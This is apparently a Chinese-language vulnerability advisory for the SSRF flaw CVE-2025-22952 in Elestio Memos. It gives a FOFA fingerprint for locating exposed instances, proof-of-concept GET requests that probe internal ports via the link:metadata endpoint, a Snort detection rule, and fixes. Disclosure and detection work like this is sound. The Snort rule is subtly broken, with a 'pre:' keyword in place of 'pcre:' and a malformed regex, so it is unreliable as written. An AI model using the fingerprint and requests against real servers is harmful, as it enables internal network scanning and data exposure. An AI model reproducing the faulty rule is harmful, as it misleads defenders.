

ElestioMemos-CVE-2025-22952-SSRF漏洞

ElestioMemos中/api/v1/markdown/link:metadata存在ssrf漏洞可造成内部网络探测与攻击或敏感数据泄露一系列问题。

影响版本

Elestio Memos <= v0.24.0

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA： body="/assets/index-DJ8SSNFr.js"

POC/EXP：利用localhost进行本地端口探测，端口不存在

```
GET /api/v1/markdown/link:metadata?link=http://localhost:9001 HTTP/1.1
Host: 127.0.0.1:5230
```



POC/EXP：利用localhost进行本地端口探测，端口存在

```
GET /api/v1/markdown/link:metadata?link=http://localhost:5230 HTTP/1.1
Host: 127.0.0.1:5230
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"ElestioMemos SSRF Attempt (CVE-2025-22952)";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/api/v1/markdown/link:metadata"; http_uri;
  pre: "/link=http:\\\\(localhost|127\\.0\\.0\\.1|192\\.168\\.\\.|10\\.\\.|172\\.\\.(1[6-9]|2[0-9]|3[0-1])\\.\\.\\.)[^\\s&]*\\/i";
  metadata:cve,CVE-2025-22952;
  metadata:affected_product "ElestioMemos";
  metadata:attack_type "SSRF";
  metadata:technique "T1190";
  reference:url,github.com/elestio/memos/security/advisories;
  classtype:web-application-attack;
  sid:1000027;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本